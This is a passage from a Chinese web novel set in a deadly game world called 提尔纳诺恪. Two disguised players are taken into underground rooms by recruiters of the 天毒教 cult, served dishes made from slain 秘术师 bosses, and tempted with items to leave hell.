孟绎以快到看不清的速度把通灵滴露收好。 “我是白学立。” “你呢,小帅哥?” 孟绎报出自己的假名:“戎缅。” “学立弟弟怎么变成这副模样?”女人若有所思地问。 白学立将他是如何被贤者石公会成员陷害进入地狱,如何死里逃生,最后又如何遭遇烈火焚身烧成这副模样的经历讲了一遍。 谈话间,他们已拐过好几个路口,鬼街的声响远远地响着。这里和鬼街相距不远,却仿佛是两个世界。 桑槿推开一扇黑漆漆、黏糊糊的木门,带他们进入一间地下室。 房间和普通的老旧民居没什么区别,一室一厅,带一个厨房。卧室的门关着,客厅铺着草席,三人在草席上盘腿而坐。 “你们想离开地狱么?”桑槿问。 白学立笑了一声:“谁不想离开啊?” 桑槿笑而不语,过了一会儿,才说:“来吧,我们先吃一点东西。” 她走进厨房,端出来几盘凉拌菜,还有一大根吃了一半的火腿,又盛了三大碗米饭。 那些凉拌菜色泽鲜红,食材看起来很新鲜,调料闻起来奇香扑鼻,只是,无论是蔬菜还是肉,都看不出来是什么。 白学立咽了咽口水,眼睛直勾勾盯着,没敢吃。 桑槿先动筷子:“不是人肉。互助会从来不对同类下手。” 白学立马上拿起筷子,往嘴里塞了一大口。 孟绎依旧端端正正地盘腿坐在桌边,没动筷子。 如果是人肉,孟绎或许还吃两口,他不是人类,又杀了很多人,吃人肉对孟绎来说,没什么心理负担。 但这不是人肉、又不是牛肉羊肉,孟绎拿不准是什么,更不敢吃。 那两人吃得很快,尤其是白学立,他看起来饿惨了,咀嚼都嫌慢,狼吞虎咽地往喉咙里塞。 “戎缅弟弟戒心很重呢。”桑槿笑眯眯地说,“正常,这里可是地狱啊。” 白学立顾不上说话,一个劲地夹菜,摆在他面前的那盘凉拌菜很快见底,他夹起最后一块肉,翻过来一看,动作立刻停顿。 那块肉上,有一些密密麻麻的荧光绿小点,肉煮熟了,荧光绿小点还亮着微光。 “刺青,”桑槿说,“这些凉拌菜,都是用秘术师的尸体做的。蔬菜也是,有些秘术师修炼到后期,会异化为植物。” 咣当一声,白学立的筷子掉在盘子上。 秘术师是副本的BOSS,他们竟然宰了秘术师做成凉拌菜? “秘术师将自己的灵魂出卖给万相,为虎作伥,屠杀玩家,”桑槿波澜不惊地说,“秘术师是我们的敌人,他们的肉,你不多吃一点?” 白学立愣怔片刻,迟疑地拿起筷子…… 夹起最后一块肉,狠狠往嘴里一塞。 “我早就想吃他们的肉,喝他们的血了!”白学立恶狠狠地说。 孟绎却庆幸他没吃这几盘菜,他自己就是秘术师,食用同类这件事,孟绎不太能接受。 * 另一间地下室。 解倾河与孟绎分头行动后,和孟绎的经历颇为相似:他独自在鬼街闲逛,很快,被天毒教的人盯上。 那人名叫路谦,他也问过解倾河“想离开地狱么”,得到肯定的答案后,带解倾河进入地下室。 只不过,解倾河没有孟绎的速度,他没找到机会使用通灵滴露。 “卧室里有人么?”进入地下室后,解倾河望着地下室紧闭的卧室门。 “没有。”路谦说。 解倾河:“那为什么关着门?” “等待需要帮助的人推开门。”路谦语焉不详地说,从厨房里端出来几盘凉拌菜,摆到茶几上,二人面对面盘腿而坐。 解倾河瞥了一眼面前的笑面虎,没说什么,拿起筷子,不紧不慢地吃着饭菜。 解倾河是无限游戏的“布道者”,负责骗人加入无限游戏,他和路谦算同行,论资历,解倾河应该比路谦还多一些。 他太清楚怎样的人看起来好骗了:信任度高、戒备心弱。 “凉拌菜用什么做的?味道不错。”解倾河说。 路谦眯起眼睛一笑:“秘术师的尸体。” 解倾河动作顿了一下,他什么都没说,继续吃着,只是吞咽的动作略显僵硬。 “何缨,”这是解倾河的假名,路谦又给他倒了一杯清茶,茶水上漂浮着陌生的叶片,“你看起来像个经验丰富的老玩家,你应该知道,提尔纳诺恪游戏的一些秘密吧?” 解倾河用清茶漱口,思忖片刻,探出舌尖,一颗红叉舌钉缓缓出现。 “当然,我知道很多。”解倾河说。 他们潜入天毒教会的目的,是找到天毒孟绎的下落。 天毒教教众十数万,如此庞大的组织,底层信众肯定没什么机会接触天毒孟绎。 想更快达成目标,仅仅是加入教会,肯定不够,还需要展示自己的能力,在教会中更快晋升。 “噤声舌钉?你是噤声书店的会员?”路谦眼中流露出惊喜,“太好了,互助会需要你这样的强者。” 解倾河一笑,故意摆架子:“我只想离开地狱。” “离开地狱,之后呢?”路谦笑盈盈地问,“继续在一场又一场的游戏中玩命?” 解倾河沉默。 他的夙愿就是彻底脱离游戏,可他没有方法。即使他是唯一一个见过最终BOSS,还活着离开副本的玩家,但他也无法离开游戏。 “何缨,你就不想结束这一切么?”路谦循循善诱,“彻底毁掉 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“你会一脚踹死这条流浪狗,”路谦笑着说,“毕竟,它只是一条狗。” 解倾河再次沉默,手中的茶杯渐渐凉了。 “这就是没有玩家能逃离提尔纳诺恪的原因么?”解倾河低声问,“游戏副本是雷.区,玩家是流浪狗。” 路谦微笑着点头。 “副本里有什么,万相非取回来不可?副本中的地.雷又是什么?”解倾河继续问。 路谦仍是微笑,并不回答。 解倾河知道,天毒教还不信任他,许多重要的事情,不会告诉他。想了解更多关于提尔纳诺恪的事,需要提高在信众中的地位。 “何缨,你还想离开地狱么?”路谦挑起一侧眉头,饶有兴致地问,“回到提尔纳诺恪,做一条狺狺狂吠的流浪犬,等待你的只有死亡,或早或晚?” 解倾河心想,万相把玩家当狗,但你们天毒教就不会把信众当狗么? “我猜,你还没有信任我们。你或许认为,我们也会把你当狗。”路谦盘腿而坐,面带微笑。 他的敏锐,让解倾河有些吃惊,但解倾河不动声色地摇摇头:“我可没有这样想。” “来,你不是好奇卧室为什么关着门么?”路谦用两只脚支撑着身体站起来。 二人来到卧室门前,路谦双臂环胸,没有伸手:“房门没有上锁,来,把房门推开。” 解倾河迟疑着,用指尖一推,房门轻松地被推开。 超过四十平的房间,堆满了道具和武器。 墙壁打满架子,架子上摆满花盆,天花板上也挤挤挨挨地挂满花盆。每一个花盆中,都有十几朵彼岸花。 “拿吧,你需要彼岸花还是道具?”路谦噙着笑,打量解倾河的神色,“拿着它们离开地狱,回到提尔纳诺恪。” 解倾河伸手触碰了一下彼岸花纤长的艳红花瓣,指尖停顿片刻,折下一朵。 “我不走,我不想当狗。”解倾河低声说,“我要留在地狱。” 路谦淡淡颔首,对他的选择没有表现出任何惊讶。 但解倾河说出这句话时,却感受到一丝不安。因为他发现,他选择留在地狱,不仅仅因为黑蛭子的委托、朗煜的灵魂,还因为……他对天毒教徒产生了一点点信任。 而信任,是所有悲剧的开端。